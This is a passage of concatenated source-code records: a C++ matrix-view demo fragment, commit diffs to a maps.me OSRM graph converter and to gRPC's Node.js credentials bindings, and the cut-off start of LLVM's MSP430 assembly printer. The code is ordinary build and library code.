\"Initial:\\n\";\n    std::cout << disp(A) << std::endl << std::endl;\n\n    auto viewA = experimental::make_MatrixView(A, {1, 0});\n    experimental::MatrixView<cmat> viewB = viewA;\n\n    \/\/ this should not compile, and it doesn't :)\n    \/\/ experimental::MatrixView<cmat> tmpview{gettmp()};\n\n    std::cout << \"MatrixView: \\n\";\n    std::cout << disp(viewA) << std::endl << std::endl;\n\n    std::cout << \"Copy via static_cast of the MatrixView:\\n\";\n    cmat result = static_cast<cmat>(viewA); \/\/ convert\n    std::cout << disp(result) << std::endl << std::endl;\n\n    std::cout << \"Copy MatrixView:\\n\";\n    auto viewAcopy = viewA; \/\/ copy\n    std::cout << disp(viewAcopy) << std::endl;\n}<|endoftext|>"}
{"text":"<commit_before>#include \"converter.hpp\"\n\n#include <iostream>\n\n#include \"..\/Server\/DataStructures\/InternalDataFacade.h\"\n#include \"..\/DataStructures\/QueryEdge.h\"\n\n#include \"..\/..\/..\/..\/coding\/matrix_traversal.hpp\"\n#include \"..\/..\/..\/..\/routing\/osrm_data_facade.hpp\"\n\n#include \"..\/..\/..\/succinct\/elias_fano.hpp\"\n#include \"..\/..\/..\/succinct\/gamma_vector.hpp\"\n#include \"..\/..\/..\/succinct\/mapper.hpp\"\n\nnamespace  mapsme\n{\n\n#define PRINT_STATUS(v) { if (v) PRINT_OK else PRINT_FAIL std::cout << std::endl; }\n#define PRINT_OK    std::cout << \"[Ok]\";\n#define PRINT_FAIL  std::cout << \"[Fail]\";\n\nConverter::Converter()\n{\n\n}\n\nvoid Converter::run(const std::string & name)\n{\n  ServerPaths server_paths;\n\n  server_paths[\"hsgrdata\"] = boost::filesystem::path(name + \".hsgr\");\n  server_paths[\"ramindex\"] = boost::filesystem::path(name + \".ramIndex\");\n  server_paths[\"fileindex\"] = boost::filesystem::path(name + \".fileIndex\");\n  server_paths[\"geometries\"] = boost::filesystem::path(name + \".geometry\");\n  server_paths[\"nodesdata\"] = boost::filesystem::path(name + \".nodes\");\n  server_paths[\"edgesdata\"] = boost::filesystem::path(name + \".edges\");\n  server_paths[\"namesdata\"] = boost::filesystem::path(name + \".names\");\n  server_paths[\"timestamp\"] = boost::filesystem::path(name + \".timestamp\");\n\n  std::cout << \"Create internal data facade for file: \" << name << \"...\";\n  InternalDataFacade<QueryEdge::EdgeData> facade(server_paths);\n  PRINT_STATUS(true);\n\n  uint64_t nodeCount = facade.GetNumberOfNodes();\n\n  std::vector<uint64_t> edges;\n  std::vector<int32_t> edgesData;\n  std::vector<bool> shortcuts;\n  std::vector<int32_t> edgeId;\n\n  std::cout << \"Repack graph...\";\n\n  for (uint64_t node = 0; node < nodeCount; ++node)\n  {\n    for (auto edge : facade.GetAdjacentEdgeRange(node))\n    {\n      uint64_t target = facade.GetTarget(edge);\n      auto const & data = facade.GetEdgeData(edge);\n\n      assert(data.forward || data.backward);\n\n      uint32_t d = data.distance;\n      d = d << 1;\n      d += data.forward ? 1 : 0;\n      d = d << 1;\n      d += data.backward ? 1 : 0;\n\n      edges.push_back(TraverseMatrixInRowOrder<uint64_t>(nodeCount, node, target, data.backward));\n      edgesData.push_back(d);\n      shortcuts.push_back(data.shortcut);\n      edgeId.push_back(data.id);\n    }\n  }\n  PRINT_STATUS(true);\n\n  std::cout << \"Sort edges...\";\n  std::sort(edges.begin(), edges.end());\n  PRINT_STATUS(true);\n\n  std::cout << \"Edges count: \" << edges.size() << std::endl;\n\n  std::cout << \"--- Save matrix\" << std::endl;\n  succinct::elias_fano::elias_fano_builder builder(edges.back(), edges.size());\n  for (auto e : edges)\n    builder.push_back(e);\n  succinct::elias_fano matrix(&builder);\n\n  std::string fileName = name + \".matrix\";\n  succinct::mapper::freeze(matrix, fileName.c_str());\n\n\n  std::cout << \"--- Save edge data\" << std::endl;\n  succinct::gamma_vector edgeVector(edgesData);\n  fileName = name + \".edgedata\";\n  succinct::mapper::freeze(edgeVector, fileName.c_str());\n\n  std::cout << \"--- Save edge shortcut id's\" << std::endl;\n  succinct::gamma_vector edgeIdVector(edgeId);\n  fileName = name + \".edgeid\";\n  succinct::mapper::freeze(edgeIdVector, fileName.c_str());\n\n  std::cout << \"--- Save edge shortcuts\" << std::endl;\n  succinct::bit_vector shortcutsVector(shortcuts);\n  fileName = name + \".shortcuts\";\n  succinct::mapper::freeze(shortcutsVector, fileName.c_str());\n\n  std::cout << \"--- Test packed data\" << std::endl;\n  routing::OsrmDataFacade<QueryEdge::EdgeData> facadeNew(name);\n\n  std::cout << \"Check node count \" << facade.GetNumberOfNodes() << \" == \" << facadeNew.GetNumberOfNodes() <<  \"...\";\n  PRINT_STATUS(facade.GetNumberOfNodes() == facadeNew.GetNumberOfNodes());\n  std::cout << \"Check edges count \" << facade.GetNumberOfEdges() << \" == \" << facadeNew.GetNumberOfEdges() << \"...\";\n  PRINT_STATUS(facade.GetNumberOfEdges() == facadeNew.GetNumberOfEdges());\n\n  std::cout << \"Check edges data ...\";\n  bool error = false;\n  assert(facade.GetNumberOfEdges() == facadeNew.GetNumberOfEdges());\n  for (uint32_t e = 0; e < facade.GetNumberOfEdges(); ++e)\n  {\n    QueryEdge::EdgeData d1 = facade.GetEdgeData(e);\n    QueryEdge::EdgeData d2 = facadeNew.GetEdgeData(e);\n\n    if (d1.backward != d2.backward ||\n        d1.forward != d2.forward ||\n        d1.distance != d2.distance ||\n        d1.id != d2.id ||\n        d1.shortcut != d2.shortcut)\n    {\n      std::cout << \"Edge num: \" << e << std::endl;\n      std::cout << \"d1 (backward: \" << (uint32_t)d1.backward << \", forward: \" << (uint32_t)d1.forward << \", distance: \"\n                << (uint32_t)d1.distance << \", id: \" << (uint32_t)d1.id << \", shortcut: \" << (uint32_t)d1.shortcut << std::endl;\n      std::cout << \"d2 (backward: \" << (uint32_t)d2.backward << \", forward: \" << (uint32_t)d2.forward << \", distance: \"\n                << (uint32_t)d2.distance << \", id: \" << (uint32_t)d2.id << \", shortcut: \" << (uint32_t)d2.shortcut << std::endl;\n      error = true;\n      break;\n    }\n  }\n  PRINT_STATUS(!error);\n\n  std::cout << \"Check graph structure...\";\n  error = false;\n  for (uint32_t node = 0; node < facade.GetNumberOfNodes(); ++node)\n  {\n    EdgeRange r1 = facade.GetAdjacentEdgeRange(node);\n    EdgeRange r2 = facadeNew.GetAdjacentEdgeRange(node);\n\n    if ((r1.front() != r2.front()) || (r1.back() != r2.back()))\n    {\n      std::cout << \"Node num: \" << node << std::endl;\n      std::cout << \"r1 (\" << r1.front() << \", \" << r1.back() << \")\" << std::endl;\n      std::cout << \"r2 (\" << r2.front() << \", \" << r2.back() << \")\" << std::endl;\n\n      error = true;\n      break;\n    }\n  }\n  PRINT_STATUS(!error);\n}\n\n\n}\n<commit_msg>[osrm] Removed builded data checking. Need to link with mom libraries.<commit_after>#include \"converter.hpp\"\n\n#include <iostream>\n\n#include \"..\/Server\/DataStructures\/InternalDataFacade.h\"\n#include \"..\/DataStructures\/QueryEdge.h\"\n\n#include \"..\/..\/..\/..\/coding\/matrix_traversal.hpp\"\n\/\/#include \"..\/..\/..\/..\/routing\/osrm_data_facade.hpp\"\n\n#include \"..\/..\/..\/succinct\/elias_fano.hpp\"\n#include \"..\/..\/..\/succinct\/gamma_vector.hpp\"\n#include \"..\/..\/..\/succinct\/mapper.hpp\"\n\n\nnamespace  mapsme\n{\n\nvoid PrintStatus(bool b)\n{\n  std::cout << (b ? \"[Ok]\" : \"[Fail]\") << std::endl;\n}\n\nConverter::Converter()\n{\n\n}\n\nvoid Converter::run(const std::string & name)\n{\n  ServerPaths server_paths;\n\n  server_paths[\"hsgrdata\"] = boost::filesystem::path(name + \".hsgr\");\n  server_paths[\"ramindex\"] = boost::filesystem::path(name + \".ramIndex\");\n  server_paths[\"fileindex\"] = boost::filesystem::path(name + \".fileIndex\");\n  server_paths[\"geometries\"] = boost::filesystem::path(name + \".geometry\");\n  server_paths[\"nodesdata\"] = boost::filesystem::path(name + \".nodes\");\n  server_paths[\"edgesdata\"] = boost::filesystem::path(name + \".edges\");\n  server_paths[\"namesdata\"] = boost::filesystem::path(name + \".names\");\n  server_paths[\"timestamp\"] = boost::filesystem::path(name + \".timestamp\");\n\n  std::cout << \"Create internal data facade for file: \" << name << \"...\";\n  InternalDataFacade<QueryEdge::EdgeData> facade(server_paths);\n  PrintStatus(true);\n\n  uint64_t nodeCount = facade.GetNumberOfNodes();\n\n  std::vector<uint64_t> edges;\n  std::vector<int32_t> edgesData;\n  std::vector<bool> shortcuts;\n  std::vector<int32_t> edgeId;\n\n  std::cout << \"Repack graph...\";\n\n  for (uint64_t node = 0; node < nodeCount; ++node)\n  {\n    for (auto edge : facade.GetAdjacentEdgeRange(node))\n    {\n      uint64_t target = facade.GetTarget(edge);\n      auto const & data = facade.GetEdgeData(edge);\n\n      assert(data.forward || data.backward);\n\n      uint32_t d = data.distance;\n      d = d << 1;\n      d += data.forward ? 1 : 0;\n      d = d << 1;\n      d += data.backward ? 1 : 0;\n\n      edges.push_back(TraverseMatrixInRowOrder<uint64_t>(nodeCount, node, target, data.backward));\n      edgesData.push_back(d);\n      shortcuts.push_back(data.shortcut);\n      edgeId.push_back(data.id);\n    }\n  }\n  std::cout << \"Edges count: \" << edgeId.size() << std::endl;\n  PrintStatus(true);\n\n  std::cout << \"Sort edges...\";\n  std::sort(edges.begin(), edges.end());\n  PrintStatus(true);\n\n  std::cout << \"Edges count: \" << edges.size() << std::endl;\n\n  std::cout << \"--- Save matrix\" << std::endl;\n  succinct::elias_fano::elias_fano_builder builder(edges.back(), edges.size());\n  for (auto e : edges)\n    builder.push_back(e);\n  succinct::elias_fano matrix(&builder);\n\n  std::string fileName = name + \".matrix\";\n  succinct::mapper::freeze(matrix, fileName.c_str());\n\n\n  std::cout << \"--- Save edge data\" << std::endl;\n  succinct::gamma_vector edgeVector(edgesData);\n  fileName = name + \".edgedata\";\n  succinct::mapper::freeze(edgeVector, fileName.c_str());\n\n  std::cout << \"--- Save edge shortcut id's\" << std::endl;\n  succinct::gamma_vector edgeIdVector(edgeId);\n  fileName = name + \".edgeid\";\n  succinct::mapper::freeze(edgeIdVector, fileName.c_str());\n\n  std::cout << \"--- Save edge shortcuts\" << std::endl;\n  succinct::bit_vector shortcutsVector(shortcuts);\n  fileName = name + \".shortcuts\";\n  succinct::mapper::freeze(shortcutsVector, fileName.c_str());\n\n  \/\/\/ @todo Restore this checking. Now data facade depends on mwm libraries.\n  \/*\n  std::cout << \"--- Test packed data\" << std::endl;\n  routing::OsrmDataFacade<QueryEdge::EdgeData> facadeNew(name);\n\n  std::cout << \"Check node count \" << facade.GetNumberOfNodes() << \" == \" << facadeNew.GetNumberOfNodes() <<  \"...\";\n  PrintStatus(facade.GetNumberOfNodes() == facadeNew.GetNumberOfNodes());\n  std::cout << \"Check edges count \" << facade.GetNumberOfEdges() << \" == \" << facadeNew.GetNumberOfEdges() << \"...\";\n  PrintStatus(facade.GetNumberOfEdges() == facadeNew.GetNumberOfEdges());\n\n  std::cout << \"Check edges data ...\";\n  bool error = false;\n  assert(facade.GetNumberOfEdges() == facadeNew.GetNumberOfEdges());\n  for (uint32_t e = 0; e < facade.GetNumberOfEdges(); ++e)\n  {\n    QueryEdge::EdgeData d1 = facade.GetEdgeData(e);\n    QueryEdge::EdgeData d2 = facadeNew.GetEdgeData(e);\n\n    if (d1.backward != d2.backward ||\n        d1.forward != d2.forward ||\n        d1.distance != d2.distance ||\n        d1.id != d2.id ||\n        d1.shortcut != d2.shortcut)\n    {\n      std::cout << \"Edge num: \" << e << std::endl;\n      std::cout << \"d1 (backward: \" << (uint32_t)d1.backward << \", forward: \" << (uint32_t)d1.forward << \", distance: \"\n                << (uint32_t)d1.distance << \", id: \" << (uint32_t)d1.id << \", shortcut: \" << (uint32_t)d1.shortcut << std::endl;\n      std::cout << \"d2 (backward: \" << (uint32_t)d2.backward << \", forward: \" << (uint32_t)d2.forward << \", distance: \"\n                << (uint32_t)d2.distance << \", id: \" << (uint32_t)d2.id << \", shortcut: \" << (uint32_t)d2.shortcut << std::endl;\n      error = true;\n      break;\n    }\n  }\n  PrintStatus(!error);\n\n  std::cout << \"Check graph structure...\";\n  error = false;\n  for (uint32_t node = 0; node < facade.GetNumberOfNodes(); ++node)\n  {\n    EdgeRange r1 = facade.GetAdjacentEdgeRange(node);\n    EdgeRange r2 = facadeNew.GetAdjacentEdgeRange(node);\n\n    if ((r1.front() != r2.front()) || (r1.back() != r2.back()))\n    {\n      std::cout << \"Node num: \" << node << std::endl;\n      std::cout << \"r1 (\" << r1.front() << \", \" << r1.back() << \")\" << std::endl;\n      std::cout << \"r2 (\" << r2.front() << \", \" << r2.back() << \")\" << std::endl;\n\n      error = true;\n      break;\n    }\n  }\n  PrintStatus(!error);\n  *\/\n}\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n *\n * Copyright 2015, Google Inc.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met:\n *\n *     * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n *     * Redistributions in binary form must reproduce the above\n * copyright notice, this list of conditions and the following disclaimer\n * in the documentation and\/or other materials provided with the\n * distribution.\n *     * Neither the name of Google Inc. nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n *\/\n\n#include <node.h>\n\n#include \"grpc\/grpc.h\"\n#include \"grpc\/grpc_security.h\"\n#include \"grpc\/support\/log.h\"\n#include \"credentials.h\"\n\nnamespace grpc {\nnamespace node {\n\nusing v8::Exception;\nusing v8::External;\nusing v8::Function;\nusing v8::FunctionTemplate;\nusing v8::Handle;\nusing v8::HandleScope;\nusing v8::Integer;\nusing v8::Local;\nusing v8::Object;\nusing v8::ObjectTemplate;\nusing v8::Persistent;\nusing v8::Value;\n\nNanCallback *Credentials::constructor;\nPersistent<FunctionTemplate> Credentials::fun_tpl;\n\nCredentials::Credentials(grpc_credentials *credentials)\n    : wrapped_credentials(credentials) {}\n\nCredentials::~Credentials() {\n  grpc_credentials_release(wrapped_credentials);\n}\n\nvoid Credentials::Init(Handle<Object> exports) {\n  NanScope();\n  Local<FunctionTemplate> tpl = NanNew<FunctionTemplate>(New);\n  tpl->SetClassName(NanNew(\"Credentials\"));\n  tpl->InstanceTemplate()->SetInternalFieldCount(1);\n  NanAssignPersistent(fun_tpl, tpl);\n  Handle<Function> ctr = tpl->GetFunction();\n  ctr->Set(NanNew(\"createDefault\"),\n           NanNew<FunctionTemplate>(CreateDefault)->GetFunction());\n  ctr->Set(NanNew(\"createSsl\"),\n           NanNew<FunctionTemplate>(CreateSsl)->GetFunction());\n  ctr->Set(NanNew(\"createComposite\"),\n           NanNew<FunctionTemplate>(CreateComposite)->GetFunction());\n  ctr->Set(NanNew(\"createGce\"),\n           NanNew<FunctionTemplate>(CreateGce)->GetFunction());\n  ctr->Set(NanNew(\"createFake\"),\n           NanNew<FunctionTemplate>(CreateFake)->GetFunction());\n  ctr->Set(NanNew(\"createIam\"),\n           NanNew<FunctionTemplate>(CreateIam)->GetFunction());\n  constructor = new NanCallback(ctr);\n  exports->Set(NanNew(\"Credentials\"), ctr);\n}\n\nbool Credentials::HasInstance(Handle<Value> val) {\n  NanScope();\n  return NanHasInstance(fun_tpl, val);\n}\n\nHandle<Value> Credentials::WrapStruct(grpc_credentials *credentials) {\n  NanEscapableScope();\n  if (credentials == NULL) {\n    return NanEscapeScope(NanNull());\n  }\n  const int argc = 1;\n  Handle<Value> argv[argc] = {\n    NanNew<External>(reinterpret_cast<void *>(credentials))};\n  return NanEscapeScope(constructor->GetFunction()->NewInstance(argc, argv));\n}\n\ngrpc_credentials *Credentials::GetWrappedCredentials() {\n  return wrapped_credentials;\n}\n\nNAN_METHOD(Credentials::New) {\n  NanScope();\n\n  if (args.IsConstructCall()) {\n    if (!args[0]->IsExternal()) {\n      return NanThrowTypeError(\n          \"Credentials can only be created with the provided functions\");\n    }\n    Handle<External> ext = args[0].As<External>();\n    grpc_credentials *creds_value =\n        reinterpret_cast<grpc_credentials *>(ext->Value());\n    Credentials *credentials = new Credentials(creds_value);\n    credentials->Wrap(args.This());\n    NanReturnValue(args.This());\n  } else {\n    const int argc = 1;\n    Local<Value> argv[argc] = {args[0]};\n    NanReturnValue(constructor->GetFunction()->NewInstance(argc, argv));\n  }\n}\n\nNAN_METHOD(Credentials::CreateDefault) {\n  NanScope();\n  NanReturnValue(WrapStruct(grpc_google_default_credentials_create()));\n}\n\nNAN_METHOD(Credentials::CreateSsl) {\n  NanScope();\n  char *root_certs = NULL;\n  grpc_ssl_pem_key_cert_pair key_cert_pair = {NULL, NULL};\n  if (::node::Buffer::HasInstance(args[0])) {\n    root_certs = ::node::Buffer::Data(args[0]);\n  } else if (!(args[0]->IsNull() || args[0]->IsUndefined())) {\n    return NanThrowTypeError(\"createSsl's first argument must be a Buffer\");\n  }\n  if (::node::Buffer::HasInstance(args[1])) {\n    key_cert_pair.private_key = ::node::Buffer::Data(args[1]);\n  } else if (!(args[1]->IsNull() || args[1]->IsUndefined())) {\n    return NanThrowTypeError(\n        \"createSSl's second argument must be a Buffer if provided\");\n  }\n  if (::node::Buffer::HasInstance(args[2])) {\n    key_cert_pair.cert_chain = ::node::Buffer::Data(args[2]);\n  } else if (!(args[2]->IsNull() || args[2]->IsUndefined())) {\n    return NanThrowTypeError(\n        \"createSSl's third argument must be a Buffer if provided\");\n  }\n\n  NanReturnValue(WrapStruct(grpc_ssl_credentials_create(\n      root_certs, key_cert_pair.private_key == NULL ? NULL : &key_cert_pair)));\n}\n\nNAN_METHOD(Credentials::CreateComposite) {\n  NanScope();\n  if (!HasInstance(args[0])) {\n    return NanThrowTypeError(\n        \"createComposite's first argument must be a Credentials object\");\n  }\n  if (!HasInstance(args[1])) {\n    return NanThrowTypeError(\n        \"createComposite's second argument must be a Credentials object\");\n  }\n  Credentials *creds1 = ObjectWrap::Unwrap<Credentials>(args[0]->ToObject());\n  Credentials *creds2 = ObjectWrap::Unwrap<Credentials>(args[1]->ToObject());\n  NanReturnValue(WrapStruct(grpc_composite_credentials_create(\n      creds1->wrapped_credentials, creds2->wrapped_credentials)));\n}\n\nNAN_METHOD(Credentials::CreateGce) {\n  NanScope();\n  NanReturnValue(WrapStruct(grpc_compute_engine_credentials_create()));\n}\n\nNAN_METHOD(Credentials::CreateFake) {\n  NanScope();\n  NanReturnValue(WrapStruct(grpc_fake_transport_security_credentials_create()));\n}\n\nNAN_METHOD(Credentials::CreateIam) {\n  NanScope();\n  if (!args[0]->IsString()) {\n    return NanThrowTypeError(\"createIam's first argument must be a string\");\n  }\n  if (!args[1]->IsString()) {\n    return NanThrowTypeError(\"createIam's second argument must be a string\");\n  }\n  NanUtf8String auth_token(args[0]);\n  NanUtf8String auth_selector(args[1]);\n  NanReturnValue(\n      WrapStruct(grpc_iam_credentials_create(*auth_token, *auth_selector)));\n}\n\n}  \/\/ namespace node\n}  \/\/ namespace grpc\n<commit_msg>move fake_transport_security_credentials to private API<commit_after>\/*\n *\n * Copyright 2015, Google Inc.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met:\n *\n *     * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n *     * Redistributions in binary form must reproduce the above\n * copyright notice, this list of conditions and the following disclaimer\n * in the documentation and\/or other materials provided with the\n * distribution.\n *     * Neither the name of Google Inc. nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n *\/\n\n#include <node.h>\n\n#include \"grpc\/grpc.h\"\n#include \"grpc\/grpc_security.h\"\n#include \"grpc\/support\/log.h\"\n#include \"credentials.h\"\n\nnamespace grpc {\nnamespace node {\n\nusing v8::Exception;\nusing v8::External;\nusing v8::Function;\nusing v8::FunctionTemplate;\nusing v8::Handle;\nusing v8::HandleScope;\nusing v8::Integer;\nusing v8::Local;\nusing v8::Object;\nusing v8::ObjectTemplate;\nusing v8::Persistent;\nusing v8::Value;\n\nNanCallback *Credentials::constructor;\nPersistent<FunctionTemplate> Credentials::fun_tpl;\n\nCredentials::Credentials(grpc_credentials *credentials)\n    : wrapped_credentials(credentials) {}\n\nCredentials::~Credentials() {\n  grpc_credentials_release(wrapped_credentials);\n}\n\nvoid Credentials::Init(Handle<Object> exports) {\n  NanScope();\n  Local<FunctionTemplate> tpl = NanNew<FunctionTemplate>(New);\n  tpl->SetClassName(NanNew(\"Credentials\"));\n  tpl->InstanceTemplate()->SetInternalFieldCount(1);\n  NanAssignPersistent(fun_tpl, tpl);\n  Handle<Function> ctr = tpl->GetFunction();\n  ctr->Set(NanNew(\"createDefault\"),\n           NanNew<FunctionTemplate>(CreateDefault)->GetFunction());\n  ctr->Set(NanNew(\"createSsl\"),\n           NanNew<FunctionTemplate>(CreateSsl)->GetFunction());\n  ctr->Set(NanNew(\"createComposite\"),\n           NanNew<FunctionTemplate>(CreateComposite)->GetFunction());\n  ctr->Set(NanNew(\"createGce\"),\n           NanNew<FunctionTemplate>(CreateGce)->GetFunction());\n  ctr->Set(NanNew(\"createIam\"),\n           NanNew<FunctionTemplate>(CreateIam)->GetFunction());\n  constructor = new NanCallback(ctr);\n  exports->Set(NanNew(\"Credentials\"), ctr);\n}\n\nbool Credentials::HasInstance(Handle<Value> val) {\n  NanScope();\n  return NanHasInstance(fun_tpl, val);\n}\n\nHandle<Value> Credentials::WrapStruct(grpc_credentials *credentials) {\n  NanEscapableScope();\n  if (credentials == NULL) {\n    return NanEscapeScope(NanNull());\n  }\n  const int argc = 1;\n  Handle<Value> argv[argc] = {\n    NanNew<External>(reinterpret_cast<void *>(credentials))};\n  return NanEscapeScope(constructor->GetFunction()->NewInstance(argc, argv));\n}\n\ngrpc_credentials *Credentials::GetWrappedCredentials() {\n  return wrapped_credentials;\n}\n\nNAN_METHOD(Credentials::New) {\n  NanScope();\n\n  if (args.IsConstructCall()) {\n    if (!args[0]->IsExternal()) {\n      return NanThrowTypeError(\n          \"Credentials can only be created with the provided functions\");\n    }\n    Handle<External> ext = args[0].As<External>();\n    grpc_credentials *creds_value =\n        reinterpret_cast<grpc_credentials *>(ext->Value());\n    Credentials *credentials = new Credentials(creds_value);\n    credentials->Wrap(args.This());\n    NanReturnValue(args.This());\n  } else {\n    const int argc = 1;\n    Local<Value> argv[argc] = {args[0]};\n    NanReturnValue(constructor->GetFunction()->NewInstance(argc, argv));\n  }\n}\n\nNAN_METHOD(Credentials::CreateDefault) {\n  NanScope();\n  NanReturnValue(WrapStruct(grpc_google_default_credentials_create()));\n}\n\nNAN_METHOD(Credentials::CreateSsl) {\n  NanScope();\n  char *root_certs = NULL;\n  grpc_ssl_pem_key_cert_pair key_cert_pair = {NULL, NULL};\n  if (::node::Buffer::HasInstance(args[0])) {\n    root_certs = ::node::Buffer::Data(args[0]);\n  } else if (!(args[0]->IsNull() || args[0]->IsUndefined())) {\n    return NanThrowTypeError(\"createSsl's first argument must be a Buffer\");\n  }\n  if (::node::Buffer::HasInstance(args[1])) {\n    key_cert_pair.private_key = ::node::Buffer::Data(args[1]);\n  } else if (!(args[1]->IsNull() || args[1]->IsUndefined())) {\n    return NanThrowTypeError(\n        \"createSSl's second argument must be a Buffer if provided\");\n  }\n  if (::node::Buffer::HasInstance(args[2])) {\n    key_cert_pair.cert_chain = ::node::Buffer::Data(args[2]);\n  } else if (!(args[2]->IsNull() || args[2]->IsUndefined())) {\n    return NanThrowTypeError(\n        \"createSSl's third argument must be a Buffer if provided\");\n  }\n\n  NanReturnValue(WrapStruct(grpc_ssl_credentials_create(\n      root_certs, key_cert_pair.private_key == NULL ? NULL : &key_cert_pair)));\n}\n\nNAN_METHOD(Credentials::CreateComposite) {\n  NanScope();\n  if (!HasInstance(args[0])) {\n    return NanThrowTypeError(\n        \"createComposite's first argument must be a Credentials object\");\n  }\n  if (!HasInstance(args[1])) {\n    return NanThrowTypeError(\n        \"createComposite's second argument must be a Credentials object\");\n  }\n  Credentials *creds1 = ObjectWrap::Unwrap<Credentials>(args[0]->ToObject());\n  Credentials *creds2 = ObjectWrap::Unwrap<Credentials>(args[1]->ToObject());\n  NanReturnValue(WrapStruct(grpc_composite_credentials_create(\n      creds1->wrapped_credentials, creds2->wrapped_credentials)));\n}\n\nNAN_METHOD(Credentials::CreateGce) {\n  NanScope();\n  NanReturnValue(WrapStruct(grpc_compute_engine_credentials_create()));\n}\n\nNAN_METHOD(Credentials::CreateIam) {\n  NanScope();\n  if (!args[0]->IsString()) {\n    return NanThrowTypeError(\"createIam's first argument must be a string\");\n  }\n  if (!args[1]->IsString()) {\n    return NanThrowTypeError(\"createIam's second argument must be a string\");\n  }\n  NanUtf8String auth_token(args[0]);\n  NanUtf8String auth_selector(args[1]);\n  NanReturnValue(\n      WrapStruct(grpc_iam_credentials_create(*auth_token, *auth_selector)));\n}\n\n}  \/\/ namespace node\n}  \/\/ namespace grpc\n<|endoftext|>"}
{"text":"<commit_before>\/\/===-- MSP430AsmPrinter.cpp - MSP430 LLVM assembly writer ----------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file contains a printer that converts from our internal representation\n\/\/ of machine-dependent LLVM code to the MSP430 assembly language.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#define DEBUG_TYPE \"asm-printer\"\n#include \"MSP430.h\"\n#include \"MSP430InstrInfo.h\"\n#include \"MSP430InstPrinter.h\"\n#include \"MSP430MCAsmInfo.h\"\n#include \"MSP430MCInstLower.h\"\n#include \"MSP430TargetMachine.h\"\n#include \"llvm\/Constants.h\"\n#include \"llvm\/DerivedTypes.h\"\n#include \"llvm\/Module.h\"\n#include \"llvm\/Assembly\/Writer.h\"\n#include \"llvm\/CodeGen\/AsmPrinter.h\"\n#include \"llvm\/CodeGen\/DwarfWriter.h\"\n#include \"llvm\/CodeGen\/MachineModuleInfo.h\"\n#include \"llvm\/CodeGen\/MachineFunctionPass.h\"\n#include \"llvm\/CodeGen\/MachineConstantPool.h\"\n#include \"llvm\/CodeGen\/MachineInstr.h\"\n#include \"llvm\/MC\/MCInst.h\"\n#include \"llvm\/MC\/MCStreamer.h\"\n#include \"llvm\/MC\/MCSymbol.h\"\n#include \"llvm\/Target\/TargetData.h\"\n#include \"llvm\/Target\/TargetLoweringObjectFile.h\"\n#include \"llvm\/Target\/TargetRegistry.h\"\n#include \"llvm\/ADT\/Statistic.h\"\n#include \"llvm\/Support\/CommandLine.h\"\n#include \"llvm\/Support\/FormattedStream.h\"\n#include \"llvm\/Support\/ErrorHandling.h\"\nusing namespace llvm;\n\nSTATISTIC(EmittedInsts, \"Number of machine instrs printed\");\n\nstatic cl::opt<bool>\nEnableMCInst(\"enable-msp430-mcinst-printer\", cl::Hidden,\n             cl::desc(\"enable experimental mcinst gunk in the msp430 backend\"));\n\nnamespace {\n  class MSP430AsmPrinter : public AsmPrinter {\n  public:\n    MSP430AsmPrinter(formatted_raw_ostream &O, TargetMachine &TM,\n                     const MCAsmInfo *MAI, bool V)\n      : AsmPrinter(O, TM, MAI, V) {}\n\n    virtual const char *getPassName() const {\n      return \"MSP430 Assembly Printer\";\n    }\n\n    void printMCInst(const MCInst *MI) {\n      MSP430InstPrinter(O, *MAI).printInstruction(MI);\n    }\n    void printOperand(const MachineInstr *MI, int 